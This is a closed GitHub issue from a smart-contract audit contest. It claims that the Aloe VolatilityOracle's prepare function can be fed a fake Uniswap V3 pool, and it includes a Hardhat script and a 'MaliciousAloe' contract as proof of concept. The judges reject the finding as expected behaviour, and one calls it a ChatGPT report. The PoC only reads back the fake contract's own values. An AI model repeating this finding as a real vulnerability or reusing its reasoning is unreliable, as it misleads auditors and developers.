sherlock-audit / 2023-10-aloe-judging

9 stars 6 forks source link

moneyversed - Risk of manipulation of implied volatility calculations due to lack of input validation in VolatilityOracle's `prepare` function #152

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

moneyversed

high

Risk of manipulation of implied volatility calculations due to lack of input validation in VolatilityOracle's prepare function

Summary

The VolatilityOracle.sol CA is responsible for calculating the implied volatility from Uniswap V3 pools. However, there is an issue with the prepare function, as it lacks proper verification mechanisms, eventually allowing an attacker to manipulate the system by providing malicious input, leading to inaccurate volatility calculations and possibly financial loss.

Vulnerability Detail

The prepare function in the VolatilityOracle.sol CA is designed to set up necessary data for a given Uniswap V3 pool. It calculates and stores pool metadata and fee growth globals, which are later used to estimate the implied volatility of the pool's assets.

function prepare(IUniswapV3Pool pool) external {
    cachedMetadata[pool] = _getPoolMetadata(pool);

    if (lastWrites[pool].time == 0) {
        feeGrowthGlobals[pool][0] = _getFeeGrowthGlobalsNow(pool);
        lastWrites[pool] = LastWrite({index: 0, time: uint32(block.timestamp), iv: IV_COLD_START});
    }
}

However, this function does not perform adequate verification on the pool parameter, allowing an attacker to possibly provide a malicious contract address, which can lead to incorrect data being stored in the cachedMetadata and feeGrowthGlobals mappings, ultimately affecting the volatility calculations.

Furthermore, the liquidate function in the Borrower CA is responsible for handling the liquidation of collateral in case a position becomes undercollateralized. This function currently relies on price data from the VolatilityOracle and does not implement sufficient checks and validations to ensure that the price data is accurate and not manipulated, means that the attacker manages to prepare the pool by passing his malicious CA and accurately manipulated data as the pool right like explained above he would be able to gain advantage from these distorted volatility calculations to make huge profits or either leading to unfair liquidations, where users’ collateral is liquidated even though their position is actually safe and well-collateralized.

Impact

If an actor exploits this vulnerability, they could basically manipulate the implied volatility calculations of the Aloe protocol, leading to inaccurate trading and hedging decisions by users, which would in turn result in financial loss for users, unfair liquidations (either in sizeable profit or loss.) and damage the integrity of the entire Aloe protocol.

Code Snippet

Here is the snippet from VolatilityOracle.sol showcasing this concern:

function prepare(IUniswapV3Pool pool) external {
    cachedMetadata[pool] = _getPoolMetadata(pool);

    if (lastWrites[pool].time == 0) {
        feeGrowthGlobals[pool][0] = _getFeeGrowthGlobalsNow(pool);
        lastWrites[pool] = LastWrite({index: 0, time: uint32(block.timestamp), iv: IV_COLD_START});
    }
}

LINK TO PREPARE

Consequently, the liquidate function from the Borrower:

function liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {
    // ...
    (Prices memory prices, ) = getPrices(oracleSeed);
    priceX128 = square(prices.c);
    // ...
    require(!BalanceSheet.isHealthy(prices, assets, liabilities0, liabilities1), "Aloe: healthy");
    // ...
}

LINK TO LIQUIDATE

Tool used

Manual review.

Recommendation

  1. Maintain a list (whitelist) of approved Uniswap V3 pool addresses and check that the provided pool address is in this list before proceeding with the rest of the function.

  2. Check that the bytecode at the provided pool address matches the expected bytecode of a legitimate Uniswap V3 pool.

  3. If Uniswap V3 pools are created through a factory CA, you could verify that the pool address was created by the factory.

Proof of Concept

  1. Deploy a malicious CA that accurately mimics the interface of IUniswapV3Pool.
  2. Call the prepare function in VolatilityOracle.sol, passing the address of the malicious CA.
  3. Observe that the prepare function executes without error, storing incorrect data in the cachedMetadata and feeGrowthGlobals mappings.
  4. Use other functions in the VolatilityOracle contract that rely on the data stored by the prepare function. Notice that the calculations are now based on the incorrect data, leading to inaccurate volatility estimations.

Consider the following script:

const { ethers } = require("hardhat");

async function main() {
  // 1. Deploy the malicious contract mimicking IUniswapV3Pool
  const MaliciousContract = await ethers.getContractFactory("MaliciousAloe");
  const maliciousContract = await MaliciousContract.deploy();
  await maliciousContract.deployed();
  console.log("MaliciousAloe deployed at:", maliciousContract.address);

  // 2. Deploy the VolatilityOracle contract
  const VolatilityOracle = await ethers.getContractFactory("VolatilityOracle");
  const volatilityOracle = await VolatilityOracle.deploy();
  await volatilityOracle.deployed();
  console.log("VolatilityOracle deployed at:", volatilityOracle.address)

  await maliciousContract.setFakeData(
    ethers.BigNumber.from("0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"), // A very large _fakeSqrtPriceX96
    0,                                                           // _fakeCurrentTick
    1,                                                           // _fakeObservationIndex
    10000,                                                       // A large _fakeObservationCardinality
    Math.floor(Date.now() / 1000),                               // _fakeObservationTimestamp
    0,                                                           // _fakeFeeProtocol
    ethers.utils.parseUnits("1000000", 18)                       // A large _fakeLiquidity
  );  
  console.log("Fake data has been set");

    // Step 3: Call prepare Function
    await volatilityOracle.prepare(maliciousContract.address);
    console.log("prepare function executed successfully");

    // Step 4: Log Manipulated Data
    const manipulatedData = await maliciousContract.getManipulatedData();
    console.log("Manipulated Data:", manipulatedData);
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Which is interacting with the following malicious CA (MaliciousAloe.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "contracts/interfaces/IUniswapV3Pool.sol";

contract MaliciousAloe is IUniswapV3Pool {
    // Malicious data to return
    address public fakeToken0;
    address public fakeToken1;
    uint24 public fakeFee = 3000;
    int24 public fakeTickSpacing = 60;
    uint128 public fakeMaxLiquidityPerTick = type(uint128).max;
    uint160 public fakeSqrtPriceX96 = 2**96;
    int24 public fakeCurrentTick = 0;
    uint16 public fakeObservationIndex = 1;
    uint16 public fakeObservationCardinality = 2;
    uint32 public fakeObservationTimestamp = uint32(block.timestamp - 1);
    uint8 public fakeFeeProtocol = 0;
    uint128 public fakeLiquidity = 1;

    // Other required state variables
    int56 public fakeTickCumulative = 0;
    uint160 public fakeSecondsPerLiquidityX128 = 0;
    bool public fakeInitialized = true;

function getManipulatedData()
    external
    view
    returns (
        uint160 _fakeSqrtPriceX96,
        int24 _fakeCurrentTick,
        uint16 _fakeObservationIndex,
        uint16 _fakeObservationCardinality,
        uint32 _fakeObservationTimestamp,
        uint8 _fakeFeeProtocol,
        uint128 _fakeLiquidity,
        int56 _fakeTickCumulative,
        uint160 _fakeSecondsPerLiquidityX128
    )
{
    return (
        fakeSqrtPriceX96,
        fakeCurrentTick,
        fakeObservationIndex,
        fakeObservationCardinality,
        fakeObservationTimestamp,
        fakeFeeProtocol,
        fakeLiquidity,
        fakeTickCumulative,
        fakeSecondsPerLiquidityX128
    );
}
    // Implementing IUniswapV3PoolImmutables
    function factory() external view override returns (address) {
        return address(this); // returning address of this contract (or any other address)
    }

    function token0() external view override returns (address) {
        return fakeToken0;
    }

    function token1() external view override returns (address) {
        return fakeToken1;
    }

    function fee() external view override returns (uint24) {
        return fakeFee;
    }

    function tickSpacing() external view override returns (int24) {
        return fakeTickSpacing;
    }

    function maxLiquidityPerTick() external view override returns (uint128) {
        return fakeMaxLiquidityPerTick;
    }

    // Implementing other interfaces with fake or malicious data
    // ...

    function burn(int24, int24, uint128) external override returns (uint256, uint256) {
        return (0, 0);
    }

    function collect(address, int24, int24, uint128, uint128) external override returns (uint128, uint128) {
        return (0, 0);
    }

    function collectProtocol(address, uint128, uint128) external override returns (uint128, uint128) {
        return (0, 0);
    }

    function feeGrowthGlobal0X128() external view override returns (uint256) {
        return 0;
    }

    function feeGrowthGlobal1X128() external view override returns (uint256) {
        return 0;
    }

    function flash(address, uint256, uint256, bytes calldata) external override {
        // Arbitrary or malicious behavior can be added here
    }

    function increaseObservationCardinalityNext(uint16) external override {
        // Arbitrary or malicious behavior can be added here
    }

    function initialize(uint160) external override {
        // Arbitrary or malicious behavior can be added here
    }

    function mint(address, int24, int24, uint128, bytes calldata) external override returns (uint256, uint256) {
        return (0, 0);
    }

    function observe(uint32[] calldata secondsAgos)
        external
        view
        override
        returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
    {
        uint256 len = secondsAgos.length;
        tickCumulatives = new int56[](len);
        secondsPerLiquidityCumulativeX128s = new uint160[](len);

        // Manipulated data
        for (uint256 i = 0; i < len; ++i) {
            tickCumulatives[i] = int56(1000000); // Arbitrary large number
            secondsPerLiquidityCumulativeX128s[i] = uint160(1000000); // Arbitrary large number
        }
    }

    function positions(bytes32) external view override returns (uint128, uint256, uint256, uint128, uint128) {
        return (0, 0, 0, 0, 0);
    }

    function protocolFees() external view override returns (uint128, uint128) {
        return (0, 0);
    }

    function setFeeProtocol(uint8, uint8) external override {
        // Arbitrary or malicious behavior can be added here
    }

function slot0() external view override returns (uint160, int24, uint16, uint16, uint16, uint8, bool) {
    return (fakeSqrtPriceX96, fakeCurrentTick, fakeObservationIndex, 65535, 65535, fakeFeeProtocol, false);
}

    function liquidity() external view override returns (uint128) {
        return fakeLiquidity;
    }

    function snapshotCumulativesInside(int24, int24) external view override returns (int56, uint160, uint32) {
        return (0, 0, 0);
    }

    function swap(address, bool, int256, uint160, bytes calldata) external override returns (int256, int256) {
        return (0, 0);
    }

    function tickBitmap(int16) external view override returns (uint256) {
        return 0;
    }

    function ticks(int24) external view override returns (uint128, int128, uint256, uint256, int56, uint160, uint32, bool) {
        return (0, 0, 0, 0, 0, 0, 0, false);
    }

    function observations(uint256 index)
        external
        view
        override
        returns (
            uint32 blockTimestamp,
            int56 tickCumulative,
            uint160 secondsPerLiquidityCumulativeX128,
            bool initialized
        )
    {
        return (fakeObservationTimestamp, fakeTickCumulative, fakeSecondsPerLiquidityX128, fakeInitialized);
    }

    // A function to allow updating malicious data for demonstration
function setFakeData(
    uint160 _fakeSqrtPriceX96,
    int24 _fakeCurrentTick,
    uint16 _fakeObservationIndex,
    uint16 _fakeObservationCardinality,
    uint32 _fakeObservationTimestamp,
    uint8 _fakeFeeProtocol,
    uint128 _fakeLiquidity
) external {
    require(_fakeObservationCardinality > 0, "Invalid cardinality");
    fakeSqrtPriceX96 = _fakeSqrtPriceX96;
    fakeCurrentTick = _fakeCurrentTick;
    fakeObservationIndex = _fakeObservationIndex;
    fakeObservationCardinality = _fakeObservationCardinality;
    fakeObservationTimestamp = _fakeObservationTimestamp;
    fakeFeeProtocol = _fakeFeeProtocol;
    fakeLiquidity = _fakeLiquidity;
}
}

And here's the output showing that data was in fact manipulated:

C:\Users\david\exploits>npx hardhat run scripts/Aloe.js --network hardhat MaliciousAloe deployed at: 0x32cd5ecdA7f2B8633C00A0434DE28Db111E60636 VolatilityOracle deployed at: 0xbeC6419cD931e29ef41157fe24C6928a0C952f0b Fake data has been set prepare function executed successfully Manipulated Data: [ BigNumber { value: "340282366920938463463374607431768211455" }, 0, 1, 10000, 1698503321, 0, BigNumber { value: "1000000000000000000000000" }, BigNumber { value: "0" }, BigNumber { value: "0" }, _fakeSqrtPriceX96: BigNumber { value: "340282366920938463463374607431768211455" }, _fakeCurrentTick: 0, _fakeObservationIndex: 1, _fakeObservationCardinality: 10000, _fakeObservationTimestamp: 1698503321, _fakeFeeProtocol: 0, _fakeLiquidity: BigNumber { value: "1000000000000000000000000" }, _fakeTickCumulative: BigNumber { value: "0" }, _fakeSecondsPerLiquidityX128: BigNumber { value: "0" } ]

As for breaking down the manipulated values that are used within the prepare function, after being set in the setFakeData call:

  1. _fakeSqrtPriceX96: a very high value to drastically manipulate the square root price.
  2. _fakeCurrentTick: a value that corresponds to an extreme price.
  3. _fakeObservationIndex: an index.
  4. _fakeObservationCardinality: an high value to showcase a large number of observations.
  5. _fakeObservationTimestamp: a recent timestamp.
  6. _fakeFeeProtocol: a value for simulating a fee bypass.
  7. _fakeLiquidity: a very high value to showcase a pool with high liquidity.

By following these steps, an attacker could actually manipulate the implied volatility calculations and achieve drastical outcomes within the Aloe protocol, therefore highlighting the need for additional verification and security measures in the prepare function.

sherlock-admin2 commented 1 year ago

3 comment(s) were left on this issue during the judging contest.

panprog commented:

invalid, because it's expected behavior - prepare can be called again by anybody to update if protocol fee (uniswap) changes, the 2nd time it will only re-write pool cached metadata, which is as expected, LastWrites won't change

tsvetanovv commented:

Invalid. ChatGPT report

MohammedRizwan commented:

invalid issue